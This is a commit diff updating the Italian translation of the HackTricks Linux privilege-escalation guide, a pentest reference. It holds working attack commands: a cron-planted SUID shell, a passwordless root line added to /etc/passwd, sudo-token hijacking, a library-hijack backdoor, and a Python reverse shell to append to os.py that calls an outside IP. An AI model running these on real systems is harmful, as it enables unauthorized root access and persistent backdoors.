maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l

Browse Source
This commit is contained in:
Translator 2025-08-19 08:26:55 +00:00
parent e96568dace
commit e8526d9172
4 changed files with 305 additions and 102 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
src/SUMMARY.md
View File

@ -96,6 +96,7 @@
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)

126
src/linux-hardening/privilege-escalation/README.md
View File

@ -18,7 +18,7 @@ Se **hai permessi di scrittura su qualsiasi cartella all'interno della variabile
```bash
echo $PATH
```
### Env info
### Info ambiente
Informazioni interessanti, password o chiavi API nelle variabili d'ambiente?
```bash
@ -73,7 +73,7 @@ Da @sickrov
```
sudo -u#-1 /bin/bash
```
### Dmesg verifica della firma fallita
### Dmesg verifica della firma non riuscita
Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata
```bash
@ -150,7 +150,7 @@ Controlla anche se **è installato un compilatore**. Questo è utile se hai biso
```
### Vulnerable Software Installed
Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi...\
Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci qualche vecchia versione di Nagios (ad esempio) che potrebbe essere sfruttata per l'escalation dei privilegi…\
Si consiglia di controllare manualmente la versione del software installato più sospetto.
```bash
dpkg -l #Debian
@ -168,7 +168,7 @@ ps aux
ps -ef
top -n 1
```
Controlla sempre la presenza di [**debugger electron/cef/chromium** in esecuzione, potresti abusarne per elevare i privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` all'interno della riga di comando del processo.\
Controlla sempre la presenza di [**debugger electron/cef/chromium**] in esecuzione, potresti abusarne per elevare i privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` all'interno della riga di comando del processo.\
Controlla anche **i tuoi privilegi sui binari dei processi**, forse puoi sovrascrivere qualcuno.
### Monitoraggio dei processi
@ -215,7 +215,7 @@ done
```
#### /proc/$pid/maps & /proc/$pid/mem
Per un dato ID processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file.
Per un dato ID di processo, **maps mostra come la memoria è mappata all'interno dello spazio degli indirizzi virtuali di quel processo**; mostra anche le **permissive di ciascuna regione mappata**. Il **mem** pseudo file **espone la memoria dei processi stessi**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Utilizziamo queste informazioni per **cercare nel file mem e scaricare tutte le regioni leggibili** in un file.
```bash
procdump()
(
@ -237,7 +237,7 @@ strings /dev/mem -n10 | grep -i PASS
```
### ProcDump per linux
ProcDump è una reinterpretazione per Linux dello strumento classico ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Ottienilo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
```
procdump -p 1714
@ -315,7 +315,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
```
## Scheduled/Cron jobs
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file che root utilizza? usare symlink? creare file specifici nella directory che root utilizza?).
Controlla se qualche lavoro programmato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità wildcard? può modificare file utilizzati da root? usare symlink? creare file specifici nella directory utilizzata da root?).
```bash
crontab -l
ls -al /etc/cron* /etc/at*
@ -327,14 +327,14 @@ Ad esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/us
(_Nota come l'utente "user" ha privilegi di scrittura su /home/user_)
Se all'interno di questo crontab l'utente root prova a eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
Se all'interno di questo crontab l'utente root cerca di eseguire qualche comando o script senza impostare il percorso. Ad esempio: _\* \* \* \* root overwrite.sh_\
Allora, puoi ottenere una shell root usando:
```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
```
### Cron usando uno script con un carattere jolly (Wildcard Injection)
### Cron utilizzando uno script con un carattere jolly (Wildcard Injection)
Se uno script eseguito da root contiene un “**\***” all'interno di un comando, potresti sfruttarlo per fare cose inaspettate (come privesc). Esempio:
```bash
@ -342,7 +342,7 @@ rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh mys
```
**Se il carattere jolly è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).**
Leggi la pagina seguente per ulteriori trucchi di sfruttamento dei caratteri jolly:
Leggi la seguente pagina per ulteriori trucchi di sfruttamento dei caratteri jolly:
{{#ref}}
wildcards-spare-tricks.md
@ -360,11 +360,11 @@ Se lo script eseguito da root utilizza una **directory a cui hai accesso complet
```bash
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
```
### Frequent cron jobs
### Lavori cron frequenti
Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne e aumentare i privilegi.
Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne e aumentare i privilegi.
Ad esempio, per **monitorare ogni 0.1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi meno eseguiti** e eliminare i comandi che sono stati eseguiti di più, puoi fare:
```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
```
@ -372,7 +372,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### Lavori cron invisibili
È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova linea), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
È possibile creare un cronjob **mettendo un ritorno a capo dopo un commento** (senza carattere di nuova riga), e il lavoro cron funzionerà. Esempio (nota il carattere di ritorno a capo):
```bash
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
```
@ -385,7 +385,7 @@ Ad esempio, crea il tuo backdoor all'interno del file .service con **`ExecStart=
### Binaries di servizio scrivibili
Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor vengano eseguite.
Tieni presente che se hai **permessi di scrittura sui binary eseguiti dai servizi**, puoi cambiarli con backdoor in modo che quando i servizi vengono rieseguiti, le backdoor verranno eseguite.
### systemd PATH - Percorsi relativi
@ -403,9 +403,9 @@ Poi, crea un **eseguibile** con lo **stesso nome del percorso relativo del binar
**Scopri di più sui servizi con `man systemd.service`.**
## **Timer**
## **Timers**
I **Timer** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timer** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
I **Timers** sono file di unità systemd il cui nome termina con `**.timer**` che controllano i file `**.service**` o eventi. I **Timers** possono essere utilizzati come alternativa a cron poiché hanno supporto integrato per eventi di tempo del calendario e eventi di tempo monotono e possono essere eseguiti in modo asincrono.
Puoi enumerare tutti i timer con:
```bash
@ -445,15 +445,15 @@ I sockets possono essere configurati utilizzando file `.socket`.
**Scopri di più sui sockets con `man systemd.socket`.** All'interno di questo file, possono essere configurati diversi parametri interessanti:
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i sockets di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i sockets datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si raccomanda di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse, ma viene utilizzato un riepilogo per **indicare dove ascolterà** il socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.)
- `Accept`: Accetta un argomento booleano. Se **vero**, una **istanza di servizio viene generata per ogni connessione in arrivo** e solo il socket di connessione viene passato ad essa. Se **falso**, tutti i socket di ascolto stessi sono **passati all'unità di servizio avviata**, e solo un'unità di servizio viene generata per tutte le connessioni. Questo valore viene ignorato per i socket datagram e le FIFO dove un'unica unità di servizio gestisce incondizionatamente tutto il traffico in arrivo. **Di default è falso**. Per motivi di prestazioni, si consiglia di scrivere nuovi demoni solo in un modo che sia adatto per `Accept=no`.
- `ExecStartPre`, `ExecStartPost`: Accetta una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **sockets**/FIFO di ascolto siano **creati** e legati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito da argomenti per il processo.
- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **sockets**/FIFO di ascolto siano **chiusi** e rimossi, rispettivamente.
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è impostato sul servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
- `Service`: Specifica il nome dell'unità di **servizio** **da attivare** sul **traffico in arrivo**. Questa impostazione è consentita solo per i sockets con Accept=no. Di default è il servizio che porta lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi, non dovrebbe essere necessario utilizzare questa opzione.
### File .socket scrivibili
Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, **probabilmente dovrai aspettare fino a quando la macchina non verrà riavviata.**\
Se trovi un file `.socket` **scrivibile** puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Pertanto, dovrai **probabilmente aspettare fino a quando la macchina non viene riavviata.**\
_Nota che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_
### Sockets scrivibili
@ -489,7 +489,7 @@ Se il socket **risponde con una richiesta HTTP**, allora puoi **comunicare** con
### Socket Docker Scrivibile
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
Il socket Docker, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere l'accesso in scrittura a questo socket può portare a un'escalation dei privilegi. Ecco una panoramica di come ciò può essere fatto e metodi alternativi se il Docker CLI non è disponibile.
#### **Escalation dei Privilegi con Docker CLI**
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Bus è un sofisticato **sistema di comunicazione inter-processo (IPC)** che consente alle applicazioni di interagire e condividere dati in modo efficiente. Progettato tenendo presente il moderno sistema Linux, offre un robusto framework per diverse forme di comunicazione tra applicazioni.
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX migliorati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, simile a **socket di dominio UNIX migliorati**. Inoltre, aiuta a trasmettere eventi o segnali, favorendo un'integrazione senza soluzione di continuità tra i componenti del sistema. Ad esempio, un segnale da un demone Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziare, migliorando l'esperienza dell'utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodo tra le applicazioni, snellendo processi che erano tradizionalmente complessi.
D-Bus opera su un **modello di autorizzazione/negazione**, gestendo i permessi dei messaggi (chiamate di metodo, emissioni di segnali, ecc.) in base all'effetto cumulativo delle regole di policy corrispondenti. Queste politiche specificano le interazioni con il bus, consentendo potenzialmente l'elevazione dei privilegi attraverso lo sfruttamento di questi permessi.
Un esempio di tale politica in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliando i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`.
Le politiche senza un utente o gruppo specificato si applicano universalmente, mentre le politiche di contesto "predefinite" si applicano a tutti quelli non coperti da altre politiche specifiche.
Le politiche senza un utente o gruppo specificato si applicano universalmente, mentre le politiche di contesto "predefinite" si applicano a tutti non coperti da altre politiche specifiche.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -612,7 +612,7 @@ cat /etc/networks
#Files used by network services
lsof -i
```
### Porte aperte
### Open ports
Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei stato in grado di interagire prima di accedervi:
```bash
@ -681,16 +681,16 @@ fi
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
### Known passwords
### Password conosciute
Se **conosci qualche password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password.
Se **conosci una password** dell'ambiente **cerca di accedere come ogni utente** utilizzando la password.
### Su Brute
Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
Se non ti dispiace fare molto rumore e i binari `su` e `timeout` sono presenti sul computer, puoi provare a forzare l'accesso agli utenti utilizzando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con il parametro `-a` prova anche a forzare l'accesso agli utenti.
## Writable PATH abuses
## Abusi del PATH scrivibile
### $PATH
@ -698,7 +698,7 @@ Se scopri che puoi **scrivere all'interno di qualche cartella del $PATH** potres
### SUDO e SUID
Potresti essere autorizzato a eseguire qualche comando usando sudo o potrebbero avere il bit suid. Controllalo usando:
Potresti essere autorizzato a eseguire alcuni comandi utilizzando sudo o potrebbero avere il bit suid. Controllalo usando:
```bash
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
```
**Contromisure**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
### Comando Sudo/Binario SUID senza percorso del comando
### Comando Sudo/Binary SUID senza percorso del comando
Se il **permesso sudo** è dato a un singolo comando **senza specificare il percorso**: _hacker10 ALL= (root) less_ puoi sfruttarlo cambiando la variabile PATH
```bash
@ -840,7 +840,7 @@ Quando si incontra un binario con permessi **SUID** che sembra insolito, è buon
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory di questo tipo)"_ suggerisce un potenziale per l'exploitation.
Ad esempio, incontrare un errore come _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Nessun file o directory)"_ suggerisce un potenziale per l'exploitation.
Per sfruttare questo, si procederebbe creando un file C, ad esempio _"/path/to/.config/libcalc.c"_, contenente il seguente codice:
```c
@ -888,11 +888,11 @@ Se ricevi un errore come
```shell-session
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
```
che significa che la libreria che hai generato deve avere una funzione chiamata `a_function_name`.
that means that the library you have generated need to have a function called `a_function_name`.
### GTFOBins
[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **iniettare solo argomenti** in un comando.
[**GTFOBins**](https://gtfobins.github.io) è un elenco curato di binari Unix che possono essere sfruttati da un attaccante per bypassare le restrizioni di sicurezza locali. [**GTFOArgs**](https://gtfoargs.github.io/) è lo stesso ma per i casi in cui puoi **solo iniettare argomenti** in un comando.
Il progetto raccoglie funzioni legittime di binari Unix che possono essere abusate per uscire da shell ristrette, elevare o mantenere privilegi elevati, trasferire file, generare shell bind e reverse, e facilitare altre attività post-exploitation.
@ -913,9 +913,9 @@ https://gtfoargs.github.io/
Se puoi accedere a `sudo -l` puoi usare lo strumento [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) per controllare se trova come sfruttare qualsiasi regola sudo.
### Riutilizzo dei Token Sudo
### Reusing Sudo Tokens
Nei casi in cui hai **accesso sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**.
Nei casi in cui hai **accesso a sudo** ma non la password, puoi elevare i privilegi **aspettando l'esecuzione di un comando sudo e poi dirottando il token di sessione**.
Requisiti per elevare i privilegi:
@ -946,7 +946,7 @@ sudo su
```
### /var/run/sudo/ts/\<Username>
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e PID**.\
Se hai **permessi di scrittura** nella cartella o su uno dei file creati all'interno della cartella, puoi utilizzare il binario [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) per **creare un token sudo per un utente e un PID**.\
Ad esempio, se puoi sovrascrivere il file _/var/run/sudo/ts/sampleuser_ e hai una shell come quell'utente con PID 1234, puoi **ottenere privilegi sudo** senza bisogno di conoscere la password eseguendo:
```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
@ -981,7 +981,7 @@ permit nopass demo as root cmd vim
Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito.
Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
O eseguendo qualcosa come:
```bash
@ -1123,10 +1123,10 @@ Controlla **Valentine box from HTB** per un esempio.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
Tutti le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\
Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
Tutte le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere influenzate da questo bug.\
Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Valori di configurazione interessanti
### Valori di configurazione SSH interessanti
- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è `no`.
- **PubkeyAuthentication:** Specifica se l'autenticazione tramite chiave pubblica è consentita. Il valore predefinito è `yes`.
@ -1147,7 +1147,7 @@ Specifica i file che contengono le chiavi pubbliche che possono essere utilizzat
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`.
Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`
### ForwardAgent/AllowAgentForwarding
@ -1158,12 +1158,12 @@ Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo:
Host example.com
ForwardAgent yes
```
Nota che se `Host` è `*` ogni volta che l'utente passa a un'altra macchina, quel host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza).
Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'agent ssh con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito).
Se scopri che il Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**:
Se scopri che il Forward Agent è configurato in un ambiente, leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**:
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
### File di profilo
Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**.
Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi, puoi escalare i privilegi**.
```bash
ls -l /etc/profile /etc/profile.d/
```
@ -1214,7 +1214,7 @@ ATTENZIONE: potresti compromettere la sicurezza attuale della macchina.
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy
```
NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`.
NOTA: Sulle piattaforme BSD, `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`.
Dovresti controllare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**?
```bash
@ -1235,7 +1235,7 @@ Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **
```bash
ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root
```
### Posizioni strane/File di proprietà
### File inusuali/di proprietà
```bash
#root owned files in /home folders
find /home -user root 2>/dev/null
@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
```bash
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
```
### *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
### \*\_storia, .sudo_as_admin_successful, profilo, bashrc, httpd.conf, .piano, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file
```bash
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
```
@ -1297,7 +1297,7 @@ Inoltre, alcuni log di **audit** "mal" configurati (backdoored?) potrebbero perm
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
```
Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile.
Per **leggere i log, il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile.
### File shell
```bash
@ -1312,22 +1312,22 @@ Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html
```
### Generic Creds Search/Regex
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex per hash.\
Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\
Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue.
## Writable files
### Python library hijacking
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e backdoorarla (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py).
Per **backdoorare la libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, che spesso viene eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log.
